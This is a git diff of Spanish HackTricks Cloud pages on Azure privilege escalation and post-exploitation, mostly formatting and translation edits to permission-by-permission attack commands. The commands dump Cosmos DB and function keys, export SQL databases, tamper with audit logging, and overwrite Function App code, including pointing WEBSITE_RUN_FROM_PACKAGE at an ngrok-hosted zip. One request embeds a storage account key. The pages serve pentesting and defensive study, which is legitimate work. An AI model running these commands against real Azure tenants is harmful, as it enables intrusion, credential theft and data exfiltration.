az postgres flexible-server firewall-rule create \
@@ -70,13 +56,9 @@ az postgres flexible-server firewall-rule update \
--start-ip-address \
--end-ip-address
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read`
Con este permiso, puedes actualizar la configuración de un servidor flexible de Postgres en Azure. Esto permite la personalización de parámetros del servidor, como la optimización del rendimiento, configuraciones de seguridad o ajustes operativos.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server parameter set \
--resource-group \
@@ -84,45 +66,36 @@ az postgres flexible-server parameter set \
--name \
--value
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action"
+### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action`
Con este permiso, puedes detener una instancia de PostgreSQL Flexible Server en Azure. Detener un servidor puede provocar una interrupción temporal del servicio, afectando a las aplicaciones y usuarios dependientes de la base de datos.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server stop \
--name \
--resource-group
```
-{% endcode %}
-### "Microsoft.DBforPostgreSQL/flexibleServers/start/action"
+### `Microsoft.DBforPostgreSQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
-{% code overflow="wrap" %}
```bash
az postgres flexible-server start \
--name \
--resource-group
```
-{% endcode %}
-### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
With this permission, you can assign a user-assigned managed identity to postgres flexible servers.
-{% code overflow="wrap" %}
```bash
az postgres flexible-server identity assign \
--resource-group \
--server-name \
--identity
```
-{% endcode %}
-### "*/delete"
+### `*/delete`
With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
index 7a2d1d110..f2cc52c1d 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md
@@ -10,7 +10,7 @@ Para más información sobre SQL Database consulta:
../az-services/az-sql.md
{{#endref}}
-### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
+### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`
Con estos permisos, un atacante puede crear y actualizar bases de datos dentro del entorno comprometido. Esta actividad de post-explotación podría permitir a un atacante agregar datos maliciosos, modificar configuraciones de la base de datos o insertar puertas traseras para una mayor persistencia, potencialmente interrumpiendo operaciones o habilitando acciones maliciosas adicionales.
```bash
@@ -20,7 +20,7 @@ az sql db create --resource-group --server --name
# Update Database
az sql db update --resource-group --server --name --max-size
```
-### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
+### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read`
Con estos permisos, un atacante puede crear y actualizar elasticPools dentro del entorno comprometido. Esta actividad de post-explotación podría permitir a un atacante agregar datos maliciosos, modificar configuraciones de bases de datos o insertar puertas traseras para una mayor persistencia, lo que podría interrumpir las operaciones o habilitar acciones maliciosas adicionales.
```bash
@@ -40,7 +40,7 @@ az sql elastic-pool update \
--dtu \
--tags
```
-### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
+### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write`
Con este permiso, puedes modificar o habilitar la configuración de auditoría en un Azure SQL Server. Esto podría permitir a un atacante o usuario autorizado manipular las configuraciones de auditoría, potencialmente cubriendo sus huellas o redirigiendo los registros de auditoría a una ubicación bajo su control. Esto puede obstaculizar la monitorización de seguridad o permitir que se realice un seguimiento de las acciones. NOTA: Para habilitar la auditoría para un Azure SQL Server utilizando Blob Storage, debes adjuntar una cuenta de almacenamiento donde se puedan guardar los registros de auditoría.
```bash
@@ -51,7 +51,7 @@ az sql server audit-policy update \
--storage-account \
--retention-days 7
```
-### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
+### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write`
Con este permiso, puedes modificar las políticas de conexión de un Azure SQL Server. Esta capacidad puede ser explotada para habilitar o cambiar la configuración de conexión a nivel de servidor.
```bash
@@ -60,9 +60,9 @@ az sql server connection-policy update \
--resource-group \
--connection-type
```
-### "Microsoft.Sql/servers/databases/export/action"
+### `Microsoft.Sql/servers/databases/export/action`
-Con este permiso, puedes exportar una base de datos de un Azure SQL Server a una cuenta de almacenamiento. Un atacante o usuario autorizado con este permiso puede exfiltrar datos sensibles de la base de datos exportándola a una ubicación que controlan, lo que representa un riesgo significativo de filtración de datos. Es importante conocer la clave de almacenamiento para poder realizar esto.
+Con este permiso, puedes exportar una base de datos de un Azure SQL Server a una cuenta de almacenamiento. Un atacante o usuario autorizado con este permiso puede exfiltrar datos sensibles de la base de datos exportándola a una ubicación que controlan, lo que representa un riesgo significativo de violación de datos. Es importante conocer la clave de almacenamiento para poder realizar esto.
```bash
az sql db export \
--server \
@@ -74,7 +74,7 @@ az sql db export \
--admin-password
```
-### "Microsoft.Sql/servers/databases/import/action"
+### `Microsoft.Sql/servers/databases/import/action`
Con este permiso, puedes importar una base de datos en un Azure SQL Server. Un atacante o usuario autorizado con este permiso puede potencialmente subir bases de datos maliciosas o manipuladas. Esto puede llevar a obtener control sobre datos sensibles o a incrustar scripts o triggers dañinos dentro de la base de datos importada. Adicionalmente, puedes importarlo a tu propio servidor en Azure. Nota: El servidor debe permitir que los servicios y recursos de Azure accedan al servidor.
```bash
@@ -85,6 +85,6 @@ az sql db import --admin-user \
--resource-group \
--storage-key-type SharedAccessKey \
--storage-key \
---storage-uri "https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
+--storage-uri `https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
```
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
index 8633b85d2..9a9c6a6a6 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
@@ -5,15 +5,13 @@
## CosmosDB Privesc
Para más información sobre SQL Database consulta:
-{% content-ref url="../az-services/az-cosmosDB.md" %}
-[az-cosmosDB.md](../az-services/az-cosmosDB.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-cosmosDB.md
+{{#endref}}
-### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
+### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)
-Con estos permisos puedes escalar privilegios otorgando a un usuario los permisos para ejecutar consultas y conectarse a la base de datos. Primero se crea un rol de definición otorgando los permisos y alcances necesarios.
-
-{% code overflow="wrap" %}
+Con estos permisos puedes escalar privilegios otorgando a un usuario los permisos para ejecutar consultas y conectarse a la base de datos. Primero se crea una definición de rol otorgando los permisos y alcances necesarios.
```bash
az cosmosdb sql role definition create \
--account-name \
@@ -36,11 +34,7 @@ az cosmosdb sql role definition create \
]
}'
```
-{% endcode %}
-
Después de eso, se asigna la definición a un usuario. Después de esto, ese usuario puede usar el método de conexión DefaultAzureCredential() para ejecutar consultas.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql role assignment create \
--account-name \
@@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \
--principal-id \
--scope "/"
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
+### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
Con este permiso, puedes recuperar las claves primaria y secundaria para una cuenta de Azure Cosmos DB. Estas claves proporcionan acceso completo a la cuenta de la base de datos y sus recursos, lo que permite acciones como lecturas de datos, escrituras y cambios de configuración.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb keys list \
--name \
--resource-group
```
-{% endcode %}
-
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
index 00d1c4ce2..d4a553e4e 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
@@ -20,18 +20,18 @@ Una vez que encuentres dónde se encuentra el código de la función, si tienes
El código de la función generalmente se almacena dentro de un recurso compartido de archivos. Con suficiente acceso, es posible modificar el archivo de código y **hacer que la función cargue código arbitrario**, lo que permite escalar privilegios a las identidades administradas adjuntas a la Función.
-Este método de implementación generalmente configura los ajustes **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** y **`WEBSITE_CONTENTSHARE`** que puedes obtener de
+Este método de implementación generalmente configura los ajustes **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** y **`WEBSITE_CONTENTSHARE`** que puedes obtener de
```bash
az functionapp config appsettings list \
--name \
--resource-group
```
-Esas configuraciones contendrán la **Clave de la Cuenta de Almacenamiento** que la Función puede usar para acceder al código.
+Esas configuraciones contendrán la **Storage Account Key** que la Función puede usar para acceder al código.
> [!CAUTION]
> Con suficientes permisos para conectarse al File Share y **modificar el script** en ejecución, es posible ejecutar código arbitrario en la Función y escalar privilegios.
-El siguiente ejemplo utiliza macOS para conectarse al file share, pero se recomienda también consultar la siguiente página para obtener más información sobre file shares:
+El siguiente ejemplo utiliza macOS para conectarse al file share, pero se recomienda también consultar la siguiente página para más información sobre file shares:
{{#ref}}
../az-services/az-file-shares.md
@@ -55,14 +55,14 @@ az functionapp config appsettings list \
--name \
--resource-group
```
-Esta configuración generalmente contendrá una **SAS URL para descargar** el código de la Cuenta de Almacenamiento.
+Esta configuración generalmente contendrá una **URL SAS para descargar** el código de la Cuenta de Almacenamiento.
> [!CAUTION]
-> Con suficientes permisos para conectarse al contenedor de blobs que **contiene el código en zip**, es posible ejecutar código arbitrario en la Función y escalar privilegios.
+> Con suficientes permisos para conectarse al contenedor de blobs que **contiene el código en zip** es posible ejecutar código arbitrario en la Función y escalar privilegios.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
-Al igual que en el caso anterior, si el despliegue se realiza a través de Github Actions, es posible encontrar la carpeta **`github-actions-deploy`** en la Cuenta de Almacenamiento que contiene un zip del código y una SAS URL al zip en la configuración `WEBSITE_RUN_FROM_PACKAGE`.
+Al igual que en el caso anterior, si el despliegue se realiza a través de Github Actions, es posible encontrar la carpeta **`github-actions-deploy`** en la Cuenta de Almacenamiento que contiene un zip del código y una URL SAS al zip en la configuración `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` y `WEBSITE_CONTENTSHARE`)
@@ -116,7 +116,7 @@ az storage blob upload \
--file /tmp/scm-latest-.zip \
--overwrite
```
-### Microsoft.Web/sites/host/listkeys/action
+### `Microsoft.Web/sites/host/listkeys/action`
Este permiso permite listar las claves de función, maestro y sistema, pero no la clave de host, de la función especificada con:
```bash
@@ -143,19 +143,19 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro
-H "If-Match: *" \
-v
```
-### Microsoft.Web/sites/functions/listKeys/action
+### `Microsoft.Web/sites/functions/listKeys/action`
Este permiso permite obtener la clave de host de la función especificada con:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01"
```
-### Microsoft.Web/sites/host/functionKeys/write
+### `Microsoft.Web/sites/host/functionKeys/write`
Este permiso permite crear/actualizar una clave de función de la función especificada con:
```bash
az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
-### Microsoft.Web/sites/host/masterKey/write
+### `Microsoft.Web/sites/host/masterKey/write`
Este permiso permite crear/actualizar una clave maestra para la función especificada con:
```bash
@@ -164,13 +164,13 @@ az functionapp keys set --resource-group --key-name --key
> [!CAUTION]
> ¡Recuerda que con esta clave también puedes acceder al código fuente y modificarlo como se explicó antes!
-### Microsoft.Web/sites/host/systemKeys/write
+### `Microsoft.Web/sites/host/systemKeys/write`
Este permiso permite crear/actualizar una clave de función del sistema para la función especificada con:
```bash
az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
-### Microsoft.Web/sites/config/list/action
+### `Microsoft.Web/sites/config/list/action`
Este permiso permite obtener la configuración de una función. Dentro de estas configuraciones, podría ser posible encontrar los valores predeterminados **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** que contienen una **clave de cuenta para acceder al almacenamiento de blobs de la función con permisos COMPLETOS**.
```bash
@@ -181,13 +181,13 @@ Además, este permiso también permite obtener el **nombre de usuario y la contr
az rest --method POST \
--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01"
```
-### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
+### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
-Estos permisos permiten listar los valores de configuración de una función como hemos visto antes, además de **modificar estos valores**. Esto es útil porque estas configuraciones indican dónde se encuentra el código que se ejecutará dentro de la función.
+Estos permisos permiten listar los valores de configuración de una función como hemos visto antes, además de **modificar estos valores**. Esto es útil porque estas configuraciones indican dónde se encuentra el código que se ejecutará dentro de la función.
-Por lo tanto, es posible establecer el valor de la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a un archivo zip de URL que contenga el nuevo código para ejecutar dentro de una aplicación web:
+Por lo tanto, es posible establecer el valor de la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a un archivo zip en URL que contenga el nuevo código a ejecutar dentro de una aplicación web:
-- Comienza obteniendo la configuración actual
+- Comience obteniendo la configuración actual
```bash
az functionapp config appsettings list \
--name \
@@ -213,7 +213,7 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
```
-### Microsoft.Web/sites/hostruntime/vfs/write
+### `Microsoft.Web/sites/hostruntime/vfs/write`
Con este permiso es **posible modificar el código de una aplicación** a través de la consola web (o a través del siguiente punto final de API):
```bash
@@ -224,7 +224,7 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
```
-### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
+### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Este permiso permite listar todos los perfiles de publicación que básicamente contienen **credenciales de autenticación básica**:
```bash
@@ -297,38 +297,29 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
-_Tenga en cuenta que el **nombre de usuario FTP** suele estar en el formato \\\$\._
+_Tenga en cuenta que el **nombre de usuario de FTP** suele estar en el formato \\\$\._
-### Microsoft.Web/sites/publish/Action
-
-Según [**la documentación**](https://github.com/projectkudu/kudu/wiki/REST-API#command), este permiso permite **ejecutar comandos dentro del servidor SCM**, lo que podría usarse para modificar el código fuente de la aplicación:
-```bash
-az rest --method POST \
---resource "https://management.azure.com/" \
---url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
---body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
-```
-### Microsoft.Web/sites/hostruntime/vfs/read
+### `Microsoft.Web/sites/hostruntime/vfs/read`
Este permiso permite **leer el código fuente** de la aplicación a través del VFS:
```bash
az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
-### Microsoft.Web/sites/functions/token/action
+### `Microsoft.Web/sites/functions/token/action`
-Con este permiso es posible [obtener el **token de administrador**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que puede ser utilizado posteriormente para recuperar la **clave maestra** y, por lo tanto, acceder y modificar el código de la función:
+Con este permiso es posible [obtener el **token de administrador**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que puede ser utilizado posteriormente para recuperar la **clave maestra** y, por lo tanto, acceder y modificar el código de la función.
+
+Sin embargo, en mis últimos chequeos no se devolvió ningún token, por lo que podría estar deshabilitado o no funcionar más, pero aquí está cómo lo harías:
```bash
# Get admin token
-az rest --method POST \
---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \
---headers '{"Content-Type": "application/json"}' \
---debug
+az rest --method GET \
+--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer "
```
-### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
+### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Este permiso permite **habilitar funciones** que podrían estar deshabilitadas (o deshabilitarlas).
```bash
@@ -342,15 +333,15 @@ También es posible ver si una función está habilitada o deshabilitada en la s
```bash
az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01"
```
-### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
+### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
-Con estos permisos es posible **modificar el contenedor ejecutado por una aplicación de función** configurada para ejecutar un contenedor. Esto permitiría a un atacante subir una aplicación de contenedor de función de azure maliciosa a docker hub (por ejemplo) y hacer que la función la ejecute.
+Con estos permisos es posible **modificar el contenedor ejecutado por una aplicación de función** configurada para ejecutar un contenedor. Esto permitiría a un atacante subir una aplicación de contenedor de función de Azure maliciosa a Docker Hub (por ejemplo) y hacer que la función la ejecute.
```bash
az functionapp config container set --name \
--resource-group \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
```
-### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
+### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
Con estos permisos es posible **adjuntar una nueva identidad administrada por el usuario a una función**. Si la función fue comprometida, esto permitiría escalar privilegios a cualquier identidad administrada por el usuario.
```bash
@@ -361,7 +352,7 @@ az functionapp identity assign \
```
### Depuración Remota
-También es posible conectarse para depurar una función de Azure en ejecución como [**se explica en la documentación**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Sin embargo, por defecto, Azure desactivará esta opción en 2 días en caso de que el desarrollador olvide evitar dejar configuraciones vulnerables.
+También es posible conectarse para depurar una función de Azure en ejecución como [**se explica en la documentación**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Sin embargo, por defecto, Azure desactivará esta opción en 2 días en caso de que el desarrollador se olvide para evitar dejar configuraciones vulnerables.
Es posible verificar si una función tiene la depuración habilitada con:
```bash
@@ -373,7 +364,7 @@ az functionapp config set --remote-debugging-enabled=True --name --re
```
### Cambiar el repositorio de Github
-Intenté cambiar el repositorio de Github desde donde se está realizando el despliegue ejecutando los siguientes comandos, pero aunque se cambió, **el nuevo código no se cargó** (probablemente porque está esperando que la Acción de Github actualice el código).\
+Intenté cambiar el repositorio de Github desde donde se está realizando el despliegue ejecutando los siguientes comandos, pero incluso si se cambió, **el nuevo código no se cargó** (probablemente porque está esperando que la acción de Github actualice el código).\
Además, **la credencial federada de identidad administrada no se actualizó** permitiendo el nuevo repositorio, por lo que parece que esto no es muy útil.
```bash
# Remove current
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
index eec53d9d4..409b565b5 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
@@ -10,7 +10,7 @@ Para más información sobre este servicio, consulta:
../az-services/az-keyvault.md
{{#endref}}
-### Microsoft.KeyVault/vaults/write
+### `Microsoft.KeyVault/vaults/write`
Un atacante con este permiso podrá modificar la política de un key vault (el key vault debe estar utilizando políticas de acceso en lugar de RBAC).
```bash
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
index d03509606..f3d963060 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
@@ -5,15 +5,13 @@
## Logic Apps Privesc
Para más información sobre SQL Database consulta:
-{% content-ref url="../az-services/az-logic-apps.md" %}
-[az-logic-apps.md](../az-services/az-logic-apps.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-logic-apps.md
+{{#endref}}
-### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
+### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`)
Con este permiso, puedes crear o actualizar flujos de trabajo de Azure Logic Apps. Los flujos de trabajo definen procesos automatizados e integraciones entre varios sistemas y servicios.
-
-{% code overflow="wrap" %}
```bash
az logic workflow create \
--resource-group \
@@ -26,8 +24,6 @@ az logic workflow update \
--resource-group logicappgroup \
--definition
```
-{% endcode %}
-
Y después de cambiarlo, puedes ejecutarlo con:
```bash
az rest \
@@ -36,16 +32,12 @@ az rest \
--body '{}' \
--headers "Content-Type=application/json"
```
-### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
-Con estos permisos, puedes implementar flujos de trabajo de Logic App utilizando implementaciones de archivos ZIP. Estos permisos permiten acciones como leer detalles de la aplicación, acceder a credenciales de publicación, realizar cambios y listar configuraciones de la aplicación. Junto con los permisos de inicio, puedes actualizar e implementar una nueva Logic App con el contenido deseado.
-
-{% code overflow="wrap" %}
+### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
+Con estos permisos, puedes implementar flujos de trabajo de Logic App utilizando implementaciones de archivos ZIP. Estos permisos permiten acciones como leer detalles de la aplicación, acceder a credenciales de publicación, escribir cambios y listar configuraciones de la aplicación. Junto con los permisos de inicio, puedes actualizar e implementar una nueva Logic App con el contenido deseado.
```bash
az logicapp deployment source config-zip \
--name \
--resource-group \
--src
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
index 718355dad..48ebc9753 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
@@ -2,19 +2,16 @@
{{#include ../../../banners/hacktricks-training.md}}
-
## MySQL Database Privesc
Para más información sobre SQL Database, consulta:
-{% content-ref url="../az-services/az-mysql.md" %}
-[az-mysql.md](../az-services/az-mysql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-mysql.md
+{{#endref}}
-### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
+### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write`
Con este permiso, puedes crear, actualizar o eliminar instancias de MySQL Flexible Server en Azure. Esto incluye aprovisionar nuevos servidores, modificar configuraciones de servidores existentes o desmantelar servidores.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server create \
--name \
@@ -27,32 +24,20 @@ az mysql flexible-server create \
--tier \
--version
```
-{% endcode %}
-
Por ejemplo, estos permisos permiten cambiar la contraseña de MySQL, útil por supuesto en caso de que la autenticación de MySQL esté habilitada.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server update \
--resource-group \
--name \
--admin-password
```
-{% endcode %}
-
-Además, es necesario tener habilitado el acceso público si deseas acceder desde un punto final no privado. Para habilitarlo:
-
-{% code overflow="wrap" %}
+Además, es necesario tener habilitado el acceso público si deseas acceder desde un endpoint no privado. Para habilitarlo:
```bash
az mysql flexible-server update --resource-group --server-name --public-access Enabled
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read`
-### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read""
-
-Con este permiso, puedes configurar administradores de Azure Active Directory (AD) para un Servidor Flexible de MySQL. Esto se puede explotar configurando a uno mismo u otra cuenta como el administrador de AD, otorgando control administrativo total sobre el servidor MySQL. Es importante que el servidor flexible tenga identidades administradas asignadas a un usuario para poder utilizarlo.
-
-{% code overflow="wrap" %}
+Con este permiso, puedes configurar administradores de Azure Active Directory (AD) para un Servidor Flexible de MySQL. Esto se puede explotar configurando a uno mismo o a otra cuenta como el administrador de AD, otorgando control administrativo total sobre el servidor MySQL. Es importante que el servidor flexible tenga identidades administradas asignadas a un usuario para usar.
```bash
az mysql flexible-server ad-admin create \
--resource-group \
@@ -61,6 +46,4 @@ az mysql flexible-server ad-admin create \
--identity \
--object-id
```
